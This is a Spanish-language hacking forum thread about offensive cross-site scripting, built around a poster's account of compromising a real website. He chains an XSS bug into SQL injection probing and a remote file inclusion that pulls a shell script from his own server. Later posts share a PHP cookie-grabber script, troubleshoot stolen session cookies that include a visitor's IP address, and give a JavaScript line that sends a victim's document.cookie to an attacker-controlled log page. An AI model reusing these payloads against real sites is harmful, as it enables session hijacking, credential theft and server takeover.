Los Poderes Secretos de XSS (Cross Site Scripting)

Iniciado por sirdarckcat, 9 Diciembre 2005, 05:02 AM

0 Miembros y 5 Visitantes están viendo este tema.

Que te pareció este manual?

Malisimo :(
Malo
No aprendí nada
Bueno
Buenisimo :)

sirdarckcat

XSS + SQL Iny + RFI

Encontré una Web que gracias a un bug de XSS econtre un SQL Inyection y despues un RFI, porque digo esto?
para poner como ejemplo que XSS si es un asunto serio.

El XSS se encontraba en un TAG Board, que esta en todas las web a las que entras en el sitio, es parecido a php_nuke.
lo unico que hice con mi script, es notificarme a cuales páginas entraban los usuarios, y guardaba todos los submits en cookies para despues mandarlas a mi log tambien.
(El robo de cookies no funcionaba, el sistema guardaba la ip en la sesión)
yo esperaba que el admin pusiera su pass, y listo :P, pero nunca paso esto.. :(, consegui de muchos usuarios mortales, talvez el admin ya tenia iniciada su sesion con cookies.. y no podia cerrarsela, porque tenia limite de longitud mi bug.
SIN embargo, aun sin conseguir el pass de admin sabia a que paginas entraba este.. era muy facil saberlo, porque todas estaban en la carpeta /admin/
Despues de andar monitoreando sus movimientos un buen rato, vi que cuando entraba a poner una noticia, se enviaba en Post un numero.
Si tuviera acceso a ese documento sin ser admin, me hubiera ahorrado muchos problemas, pero pues.. como la ven que no.
El script, no lo podia modificar, ni podia poner otro, asi que debia encontrar una manera de enviar la información.
El antiguo bug de GET=POST en php, me ayudo.
Este sitio tenia foro, asi que lo unico que debi hacer fue:
(Modificado obvio!!)

Hola, me podrias orientar sobre como ser administraor de este foro?

Saludos
::wink::[img]http://site.com/admin/news.php?nid='&tno=abc&mno=abc&tn=23[/img]


nid es donde se guardaba el numero, tno el titulo mno es el mensaje y tn es el tema, lo puse en el ultimo para que no llamara la atencion.

Si se creaba la noticia era porque no habia inyección, si no se creaba, era porque si habia.

Ahora, esto parece una inyección mas dificil que un blind no? jaja
ahi fue donde entro el RFI.
Al parecer si habia inyección SQL, pero no se como diablos estabala sentencia que se creo la noticia, pero en el titulo se guardo (modificado):
Citar
Warning: Invalid Socket Stream /news/23th.php
ese 23 es de el tema, :P
Solo tuve que mandar otro MP al admin, ahora preguntandole, porque no me respondio mi post de quiero ser admin xD.
pero ahora con esta imagen:

http://site.com/admin/news.php?nid='&tno=abc&mno=abc&tn=http%3A//miserv.com/rfi/sh.txt?

el ? del final es porque el script agrega th.php al final
:P listo, ahora entraba con method POST y una variable en un formulario ya diseñado a:
http://site.com/index.php
y se creaba una consola de shell.
NO hice deface. yo estoy encontra de los defaces.
no es la gran cosa, es como cualquier 0wn3d, pero quize publicarlo, porque se me hizo gracioso, como este ataque fue de un tipo a otro, sin quererlo realmente.

Este sistema web es independiente, pero dicen que lo quieren vender jeje, si lo saca.. tendra los primeros 3 bug a los 15 segundos xD


Saludos!!

deceiver

#11
Porque solo me guarda esto y no la cookie entera??

USUARIO Y PASSWORD:
Cookie: BSUID=1; ASLTRG1=28
Pagina:
IP: 212.78.xxx.xxx
Fecha y Hora: 16 March, 2006, 8:50 pm


y solo guarda si abro la web si la abre otro nada  estoy usando hosting lycos (nose si sera por eso)
probe con otro cookie grabber y solo me guardaba si la abria yo tambien pero grababa todo.. el otro es:

<?php
cookie=$_REQUEST['cookie'];
$openfile = fopen("cookies.txt", "a");
fwrite($openfile, "$cookie\n");
fclose($openfile);
?>


sirdarckcat

deceiver:
¿como es la cookie completa?

Saludos!!

deceiver

#13
ESta es la cookie entera.

hhr=4347; BSUID=1; FRQSTR=19042219|19042219|19042219|19042219|19042219; WIDYMD=#30554:FCP#; KIDYMD=#225393:FCPB#202979:FCGC#202984:FCFA#231288:FBDA#; ASLTRG1=28#24#.es#604#1335#.inversas.jazztel.es#62.14.155.30#es##-9718#1334#1229#0#0

algo asi pero esque si la abre alguien que no sea yo nisiquiera guarda el principio¿porque puede ser? alguna idea?

gracias, un saludo

Encontre otro cookie grabber que funciona bien pero me guarda un trozo o otro aqui 3 diferentes que me guardo

FRQSTR=19042251|19042251|19042251|19042251|19042251; ASLTRG1=28


BSUID=1; FRQSTR=19012244x202979:1:5108|19012244|19012244|19012244|19012244; WIDYMD=



FRQSTR=18802497|18802497|18802497|18802497|18802497

en ninguna me la guarda entera pero al menos con este guarda un trozo aunque no la abra yo.. el 19042251|19042251|19042251|19042251|19042251 deduzco que sera la password ¿porque puede ser SirdarckCat?

sirdarckcat

asegurate de que antes de enviar el valor de la cookie, le hagas un escape, escape(document.cookie).. :/

Saludos!!

deceiver

#15
Era eso muchas gracias.. :)

una ultima cosa las cookies son algo raras usan KIDYMD=* e visto muchos blogs busandolo pero no veo nada en md5  y no encuentro nada de info sobre esto ¿sabes que es esto? gracias

solo encontre blogs y cosas asi con KIDYMD= y demas.. y buscando encontre esto http://users.cjb.net/ebaumcookies/noip.txt ^^
cookies de ebaum o algo asi en las mayorias esta el KIDYMD pero suele estar la pw en md5 y en la mia no :%

Espero tu respuesta un saludo :)

sirdarckcat

En eso ya no te pudo ayudar xD, te toca a ti, ver que hace.. mucha suerte!!

sirdarckcat


xDie

Todavia no entendido muy bien, ya tengo mi log.php y un log2.htm. si yo quiero la cookie de alguien le mando que entre a www.misitio.com/log.php  ????
o que debo hacer?? y que cookie me guarda???
Gracias!!! ;D
Licence to kill!

sirdarckcat

no.. lee el manual otra ves ;)
debes encontrar un bug de XSS en la web, y colocar un codigo masomenos asi:

self.location.href='http://misitio.com/log.php?c='+escape(document.cookie);

eso debe mandarte la cookie.. del sitio afectado.

saludos!!